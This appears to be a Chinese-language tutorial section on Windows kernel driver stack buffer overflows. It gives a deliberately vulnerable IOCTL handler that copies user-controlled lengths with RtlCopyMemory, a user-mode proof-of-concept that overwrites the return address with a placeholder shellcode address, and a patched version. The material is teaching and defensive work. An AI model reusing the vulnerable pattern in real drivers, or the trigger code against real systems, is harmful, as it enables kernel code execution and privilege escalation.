4. 缓冲区溢出漏洞：栈缓冲区溢出原理、驱动中危险的 RtlCopyMemory 与 memcpy、漏洞触发与利用演示

4.1 栈缓冲区溢出原理

栈缓冲区溢出（Stack Buffer Overflow）是内核驱动中最经典、最危险的漏洞类型之一。当驱动程序在栈上分配的局部缓冲区大小固定，但拷贝的数据量超过该缓冲区容量时，超出的数据会覆盖栈上相邻的内存区域，包括函数的返回地址、异常处理指针或局部变量。

在 x64 内核中，栈帧布局通常包含：

• 局部变量区：存放函数内定义的自动变量（如缓冲区）。
• 保存的寄存器：如 RBP、RDI、RSI 等被调用者保存的寄存器。
• 返回地址：调用函数的下一条指令地址，位于栈帧顶部。
• 异常处理链：在支持结构化异常处理（SEH）的系统中，异常处理函数指针也可能位于栈上。

4.2 驱动中危险的 RtlCopyMemory 与 memcpy

Windows 内核驱动开发中，RtlCopyMemory 和 memcpy 是常用的内存拷贝函数。它们本身不执行任何边界检查，完全依赖调用者提供正确的长度参数。当从用户模式传入的缓冲区大小或长度参数未经验证时，极易触发栈缓冲区溢出。

4.3 漏洞代码示例

以下是一个典型的内核驱动 IOCTL 处理函数，存在栈缓冲区溢出漏洞：

// 漏洞代码：未校验用户输入长度
NTSTATUS DrvDispatchIoControl(
    PDEVICE_OBJECT DeviceObject,
    PIRP Irp
)
{
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    ULONG ioctlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
    PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer;
    ULONG inputLength = irpStack->Parameters.DeviceIoControl.InputBufferLength;

    // 漏洞：栈缓冲区只有 64 字节
    CHAR localBuffer[64];

    switch (ioctlCode)
    {
    case IOCTL_COPY_DATA:
        // 危险：直接使用用户提供的长度进行拷贝
        RtlCopyMemory(localBuffer, inputBuffer, inputLength);
        // ... 后续处理
        break;
    }

    Irp->IoStatus.Status = STATUS_SUCCESS;
    Irp->IoStatus.Information = 0;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return STATUS_SUCCESS;
}

漏洞分析：

• localBuffer 在栈上分配，大小为 64 字节。
• inputLength 来自用户模式，攻击者可以任意指定。
• 当 inputLength > 64 时，RtlCopyMemory 会向栈上写入超出缓冲区范围的数据。
• 攻击者可以精确构造输入数据，覆盖返回地址为攻击者控制的 shellcode 地址。

4.4 漏洞触发与利用演示

以下演示展示攻击者如何通过用户模式程序触发漏洞并劫持内核执行流：

4.5 用户模式触发代码示例

以下代码展示攻击者如何从用户模式触发漏洞：

// 攻击者代码：触发内核驱动栈溢出
#include <windows.h>
#include <stdio.h>

#define IOCTL_COPY_DATA CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)

typedef struct _SHELLCODE_PAYLOAD {
    CHAR padding[64];      // 填充 localBuffer
    ULONG64 savedRbp;      // 覆盖保存的 RBP
    ULONG64 returnAddr;    // 覆盖返回地址 → shellcode 地址
    UCHAR shellcode[256];  // 实际 shellcode
} SHELLCODE_PAYLOAD, *PSHELLCODE_PAYLOAD;

int main()
{
    HANDLE hDevice = CreateFile(
        L"\\\\.\\VulnDriver",
        GENERIC_READ | GENERIC_WRITE,
        0, NULL, OPEN_EXISTING, 0, NULL
    );

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] 打开设备失败: %d\n", GetLastError());
        return 1;
    }

    // 构造恶意 payload
    SHELLCODE_PAYLOAD payload = { 0 };
    memset(payload.padding, 'A', 64);           // 填充数据
    payload.savedRbp = 0x4141414141414141;      // 任意值
    payload.returnAddr = 0xFFFFF80001234567;    // 指向 shellcode 的地址

    // 此处填充实际 shellcode（省略具体内容）
    // memcpy(payload.shellcode, shellcodeBytes, shellcodeSize);

    DWORD bytesReturned = 0;
    BOOL result = DeviceIoControl(
        hDevice,
        IOCTL_COPY_DATA,
        &payload, sizeof(payload),   // 输入缓冲区 = 328 字节
        NULL, 0,
        &bytesReturned,
        NULL
    );

    if (!result) {
        printf("[-] IOCTL 请求失败: %d\n", GetLastError());
    }

    CloseHandle(hDevice);
    return 0;
}

4.6 安全补丁方案

修复栈缓冲区溢出漏洞的标准方法包括：

修复后的安全代码示例：

// 修复代码：添加长度校验
NTSTATUS DrvDispatchIoControl_Safe(
    PDEVICE_OBJECT DeviceObject,
    PIRP Irp
)
{
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    ULONG ioctlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
    PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer;
    ULONG inputLength = irpStack->Parameters.DeviceIoControl.InputBufferLength;

    // 安全：栈缓冲区大小定义为常量
    #define LOCAL_BUFFER_SIZE 64
    CHAR localBuffer[LOCAL_BUFFER_SIZE];

    switch (ioctlCode)
    {
    case IOCTL_COPY_DATA:
        // 修复：验证输入长度不超过目标缓冲区
        if (inputLength > LOCAL_BUFFER_SIZE) {
            Irp->IoStatus.Status = STATUS_BUFFER_TOO_SMALL;
            Irp->IoStatus.Information = 0;
            IoCompleteRequest(Irp, IO_NO_INCREMENT);
            return STATUS_BUFFER_TOO_SMALL;
        }

        // 安全拷贝：使用已验证的长度
        RtlCopyMemory(localBuffer, inputBuffer, inputLength);
        // ... 后续处理
        break;
    }

    Irp->IoStatus.Status = STATUS_SUCCESS;
    Irp->IoStatus.Information = 0;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return STATUS_SUCCESS;
}